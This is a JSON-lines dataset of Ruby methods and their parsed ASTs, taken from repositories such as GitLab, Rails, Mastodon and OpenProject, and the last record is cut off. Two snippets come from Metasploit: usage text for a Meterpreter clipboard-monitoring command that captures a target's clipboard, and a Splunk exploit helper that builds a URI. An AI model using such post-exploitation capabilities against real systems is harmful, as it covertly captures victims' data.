{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-grape-openapi/lib/gitlab/grape_openapi/models/security_scheme.rb","start_line":73,"raw_source":"def validate_http_scheme!\n          return if VALID_HTTP_SCHEMES.include?(@scheme.downcase)\n\n          raise ArgumentError, \"Invalid HTTP scheme: #{@scheme}. Common values: #{VALID_HTTP_SCHEMES.join(', ')}\"\n        end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_http_scheme!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VALID_HTTP_SCHEMES\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scheme\"]},\"downcase\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid HTTP scheme: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scheme\"]}]},{\"type\":\"str\",\"children\":[\". Common values: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VALID_HTTP_SCHEMES\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]}]}","id":"21b1aec7-f27f-4b8f-950b-5e228d01d4b6"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/presenters/annual_reports_presenter.rb","start_line":16,"raw_source":"def statuses\n    @statuses ||= Status.where(id: @annual_reports.flat_map(&:status_ids)).with_includes\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"statuses\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@statuses\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Status\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@annual_reports\"]},\"flat_map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"status_ids\"]}]}]}]}]}]},\"with_includes\"]}]}]}","id":"5a3c0c82-1be9-4ff7-a4d9-1b24cfa8a1cf"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/custom_button.rb","start_line":90,"raw_source":"def applies_to=(other)\n    if other.kind_of?(Class)\n      self.applies_to_class = other.base_model.name\n      self.applies_to_id    = nil\n    elsif other.kind_of?(String)\n      self.applies_to_class = other\n      self.applies_to_id    = nil\n    else\n      raise _(\"Instance has no id\") if other.id.nil?\n\n      self.applies_to_class = other.class.base_model.name\n      self.applies_to_id    = other.id\n    end\n  end","complexity_score":27.3,"ast_json":"{\"type\":\"def\",\"children\":[\"applies_to=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Class\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"applies_to_class=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"base_model\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"applies_to_id=\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"applies_to_class=\",{\"type\":\"lvar\",\"children\":[\"other\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"applies_to_id=\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"id\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Instance has no id\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"applies_to_class=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"class\"]},\"base_model\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"applies_to_id=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"id\"]}]}]}]}]}]}","id":"48518739-fe6c-457d-9373-53f154e263fb"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/message_verifier_test.rb","start_line":125,"raw_source":"def test_raise_error_when_secret_is_nil\n    exception = assert_raise(ArgumentError) do\n      ActiveSupport::MessageVerifier.new(nil)\n    end\n    assert_equal \"Secret should not be nil.\", exception.message\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_raise_error_when_secret_is_nil\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exception\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"MessageVerifier\"]},\"new\",{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Secret should not be nil.\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"message\"]}]}]}]}","id":"6bfe0d22-bf8b-4341-9398-eea25c7b499a"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20200826132639_add_missing_foreign_keys_to_models_related_to_users.rb","start_line":2,"raw_source":"def change\n    add_foreign_key :articles, :users, on_delete: :cascade, validate: false\n    add_foreign_key :collections, :users, on_delete: :cascade, validate: false\n    add_foreign_key :comments, :users, on_delete: :cascade, validate: false\n    add_foreign_key :credits, :users, on_delete: :cascade, validate: false\n    add_foreign_key :github_repos, :users, on_delete: :cascade, validate: false\n    add_foreign_key :html_variants, :users, on_delete: :cascade, validate: false\n    add_foreign_key :mentions, :users, on_delete: :cascade, validate: false\n    add_foreign_key :notifications, :users, on_delete: :cascade, validate: false\n    add_foreign_key :organization_memberships, :users, on_delete: :cascade, validate: false\n    add_foreign_key :page_views, :users, on_delete: :nullify, validate: false\n    add_foreign_key :rating_votes, :users, on_delete: :nullify, validate: false\n    add_foreign_key :reactions, :users, on_delete: :cascade, validate: false\n    add_foreign_key :tweets, :users, on_delete: :nullify, validate: false\n  end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_foreign_key\",{\"type\":\"sym\",\"children\":[\"articles\"]},{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_foreign_key\",{\"type\":\"sym\",\"children\":[\"collections\"]},{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_foreign_key\",{\"type\":\"sym\",\"children\":[\"comments\"]},{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_foreign_key\",{\"type\":\"sym\",\"children\":[\"credits\"]},{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_foreign_key\",{\"type\":\"sym\",\"children\":[\"github_repos\"]},{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_foreign_key\",{\"type\":\"sym\",\"children\":[\"html_variants\"]},{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_foreign_key\",{\"type\":\"sym\",\"children\":[\"mentions\"]},{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_foreign_key\",{\"type\":\"sym\",\"children\":[\"notifications\"]},{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_foreign_key\",{\"type\":\"sym\",\"children\":[\"organization_memberships\"]},{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_foreign_key\",{\"type\":\"sym\",\"children\":[\"page_views\"]},{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"nullify\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_foreign_key\",{\"type\":\"sym\",\"children\":[\"rating_votes\"]},{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"nullify\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_foreign_key\",{\"type\":\"sym\",\"children\":[\"reactions\"]},{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_foreign_key\",{\"type\":\"sym\",\"children\":[\"tweets\"]},{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"nullify\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"9468f160-12c2-4aee-ab25-f0753a482840"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb","start_line":143,"raw_source":"def print_clipboard_monitor_start_usage\n            print(\n              \"\\nUsage: clipboard_monitor_start  [-h]\\n\\n\" +\n              \"Starts a background clipboard monitoring thread. The thread watches\\n\" +\n              \"the clipboard on the target, under the context of the current desktop, and when\\n\" +\n              \"changes are detected the contents of the clipboard are captured. Contents can be\\n\" +\n              \"dumped periodically. Image content can be captured as well (and will be by default)\\n\" +\n              \"however this can consume quite a bit of memory.\\n\\n\" +\n              @@monitor_start_opts.usage + \"\\n\"\n            )\n          end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"print_clipboard_monitor_start_usage\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\nUsage: clipboard_monitor_start  [-h]\\n\\n\"]},\"+\",{\"type\":\"str\",\"children\":[\"Starts a background clipboard monitoring thread. The thread watches\\n\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"the clipboard on the target, under the context of the current desktop, and when\\n\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"changes are detected the contents of the clipboard are captured. Contents can be\\n\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"dumped periodically. Image content can be captured as well (and will be by default)\\n\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"however this can consume quite a bit of memory.\\n\\n\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@monitor_start_opts\"]},\"usage\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}","id":"19bd3606-37be-407e-921d-a3fadd6b561c"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/if_unless_modifier.rb","start_line":316,"raw_source":"def remove_comment(corrector, _node, comment)\n          corrector.remove(range_with_surrounding_space(range: comment.source_range, side: :left))\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_comment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"_node\"]},{\"type\":\"arg\",\"children\":[\"comment\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"send\",\"children\":[null,\"range_with_surrounding_space\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"range\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"source_range\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"side\"]},{\"type\":\"sym\",\"children\":[\"left\"]}]}]}]}]}]}","id":"da84d965-6d78-480c-9529-118dbcc91839"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/test_data/cleanup_service.rb","start_line":43,"raw_source":"def log_no_accounts_found\n      Rails.logger.info 'No test account IDs found in the data file'\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"log_no_accounts_found\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\",{\"type\":\"str\",\"children\":[\"No test account IDs found in the data file\"]}]}]}","id":"fdd296f1-5df9-45d1-ac8b-0164f719de19"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/internal_events/cli/metric.rb","start_line":126,"raw_source":"def identifier\n      Metric::Identifier.new(self[:identifier])\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"identifier\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metric\"]},\"Identifier\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"sym\",\"children\":[\"identifier\"]}]}]}]}","id":"40aab073-e3c7-4110-b354-3d0447f3eb14"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/indentation_width.rb","start_line":381,"raw_source":"def leftmost_modifier_of(node)\n          return node unless node.parent&.send_type?\n\n          leftmost_modifier_of(node.parent)\n        end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"leftmost_modifier_of\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]},\"send_type?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"send\",\"children\":[null,\"leftmost_modifier_of\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]}]}]}]}","id":"43959893-26ee-4bf4-80ce-c3ebe61ea4ec"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/splunk/uris.rb","start_line":16,"raw_source":"def splunk_user_page(username = nil)\n    username = datastore['USERNAME'] if username.nil?\n    normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'services', 'authentication', 'users', username)\n  end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"splunk_user_page\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"username\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},\"nil?\"]},{\"type\":\"lvasgn\",\"children\":[\"username\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"en-US\"]},{\"type\":\"str\",\"children\":[\"splunkd\"]},{\"type\":\"str\",\"children\":[\"__raw\"]},{\"type\":\"str\",\"children\":[\"services\"]},{\"type\":\"str\",\"children\":[\"authentication\"]},{\"type\":\"str\",\"children\":[\"users\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]}]}]}","id":"d0d58060-5b9b-4c2c-bbeb-2ed5890ece51"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/group.rb","start_line":85,"raw_source":"def scim_members\n    @scim_members ||= users\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"scim_members\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@scim_members\"]},{\"type\":\"send\",\"children\":[null,\"users\"]}]}]}","id":"379a8712-74ec-4d91-af42-451d4af98632"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/integrations/beyond_identity.rb","start_line":60,"raw_source":"def self.activated_for_instance?\n      !!::Integrations::BeyondIdentity.for_instance.first&.activated?\n    end","complexity_score":7.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"activated_for_instance?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Integrations\"]},\"BeyondIdentity\"]},\"for_instance\"]},\"first\"]},\"activated?\"]},\"!\"]},\"!\"]}]}","id":"7d31e19e-9f34-46dd-8cff-ed35f7e36a43"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/enforces_two_factor_authentication.rb","start_line":71,"raw_source":"def skip_two_factor?\n    session[:skip_two_factor] && session[:skip_two_factor].future?\n  end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"skip_two_factor?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"skip_two_factor\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"skip_two_factor\"]}]},\"future?\"]}]}]}","id":"b6a03eda-806f-4194-82fe-79703131ac5a"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/custom_field.rb","start_line":334,"raw_source":"def multi_value_possible?\n    OpenProject::CustomFieldFormat.find_by(name: field_format)&.multi_value_possible?\n  end","complexity_score":3.8,"ast_json":"{\"type\":\"def\",\"children\":[\"multi_value_possible?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"CustomFieldFormat\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"field_format\"]}]}]}]},\"multi_value_possible?\"]}]}","id":"5affbd3b-5309-4635-97e9-39912202fea4"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/models/profile.rb","start_line":113,"raw_source":"def delete!(client: nil)\n        client ||= Spaceship::ConnectAPI\n        return client.delete_profile(profile_id: id)\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"delete!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"client\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"client\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"delete_profile\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"profile_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]}]}]}]}","id":"cce4f897-8a30-469d-b005-967ee3b0f283"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/config.rb","start_line":259,"raw_source":"def on(event, &block)\n      raise ArgumentError, \"Symbols only please: #{event}\" unless event.is_a?(Symbol)\n      raise ArgumentError, \"Invalid event name: #{event}\" unless @options[:lifecycle_events].key?(event)\n      @options[:lifecycle_events][event] << block\n    end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"on\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Symbol\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Symbols only please: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"lifecycle_events\"]}]},\"key?\",{\"type\":\"lvar\",\"children\":[\"event\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid event name: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"lifecycle_events\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"event\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"82c522b1-6ce0-45b0-9e36-10ff7f2156f8"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/sharepoint/queries/upload_link_query.rb","start_line":55,"raw_source":"def handle_response(response)\n              error = Results::Error.new(source: self.class, payload: response)\n\n              case response\n              in { status: 200..299 }\n                upload_url = response.json(symbolize_keys: true)[:uploadUrl]\n                info \"Upload link generated successfully.\"\n                Results::UploadLink.build(destination: upload_url, method: :put)\n              in { status: 404 | 400 } # not existent parent folder in request url is responded with 400\n                info \"The parent folder was not found.\"\n                Failure(error.with(code: :not_found))\n              in { status: 401 }\n                info \"User authorization failed.\"\n                Failure(error.with(code: :unauthorized))\n              in { status: 403 }\n                info \"User authorization failed.\"\n                Failure(error.with(code: :forbidden))\n              else\n                info \"Unknown error happened.\"\n                Failure(error.with(code: :error))\n              end\n            end","complexity_score":27.0,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Results\"]},\"Error\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}]},{\"type\":\"case_match\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"int\",\"children\":[299]}]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"upload_url\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"json\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"symbolize_keys\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"uploadUrl\"]}]}]},{\"type\":\"se